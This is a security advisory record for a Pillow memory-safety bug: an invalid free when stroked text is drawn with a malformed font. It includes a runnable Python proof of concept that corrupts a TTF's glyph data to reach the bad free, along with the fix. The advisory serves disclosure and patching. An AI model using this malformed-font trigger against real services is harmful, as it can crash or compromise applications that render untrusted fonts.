{"id":"GHSA-j4m9-6w36-pw47","summary":"Pillow: Invalid free in FreeType glyph rendering when a stroker is active","details":"### Summary\nWhen text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.\n\n### Details\n`glyph` is declared without a NULL initializer:\n\n- `src/_imagingft.c:848`\n\nThe first measurement loop can jump to `glyph_error` before `glyph` is ever assigned:\n\n- `src/_imagingft.c:1010-1013`\n\nIn the render loop the glyph is freed at the end of each iteration and not set back to NULL:\n\n- `src/_imagingft.c:1242`\n\nThe cleanup frees it whenever a stroker exists:\n\n- `src/_imagingft.c:1253-1256`\n\n`ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable.\n\n### PoC\nThis needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph \"A\" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens.\n\n```python\nimport struct\nfrom fontTools.ttLib import TTFont\nfrom PIL import Image, ImageFont, ImageDraw\n\nSRC = \"Tests/fonts/FreeMono.ttf\"          # any TTF works as a base\ntt = TTFont(SRC)\ngid = tt.getGlyphID(tt.getBestCmap()[ord(\"A\")])\nloca_long = tt[\"head\"].indexToLocFormat\ntt.close()\n\nraw = bytearray(open(SRC, \"rb\").read())\nnt = struct.unpack(\"\u003eH\", raw[4:6])[0]\ntbl = {}\nfor i in range(nt):\n    rec = 12 + i * 16\n    tag = bytes(raw[rec:rec+4]).decode(\"latin-1\")\n    off, length = struct.unpack(\"\u003eII\", raw[rec+8:rec+16])\n    tbl[tag] = (off, length)\nglyf_off = tbl[\"glyf\"][0]; loca_off = tbl[\"loca\"][0]\nif loca_long:\n    o0 = struct.unpack_from(\"\u003eI\", raw, loca_off + 4*gid)[0]\nelse:\n    o0 = struct.unpack_from(\"\u003eH\", raw, loca_off + 2*gid)[0] * 2\nstruct.pack_into(\"\u003eh\", raw, glyf_off + o0, 5000)   # numberOfContours = 5000\nopen(\"evil.ttf\", \"wb\").write(raw)\n\nf = ImageFont.truetype(\"evil.ttf\", 20)             # face opens\nd = ImageDraw.Draw(Image.new(\"RGB\", (64, 64)))\nd.text((0, 0), \"A\", font=f, stroke_width=2)        # load error -\u003e FT_Done_Glyph on bad pointer\n```\n\nResult on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`).\n\n### Impact\nApplications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`.","aliases":["CVE-2026-112893"],"modified":"2026-10-21T20:15:04.205713953Z","published":"2026-10-21T20:06:34Z","database_specific":{"cwe_ids":["CWE-457","CWE-763"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-21T20:06:34Z","nvd_published_at":"2026-10-19T22:17:09Z"},"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112893"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"10.0.0"},{"fixed":"13.0.0"}]}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-j4m9-6w36-pw47/GHSA-j4m9-6w36-pw47.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}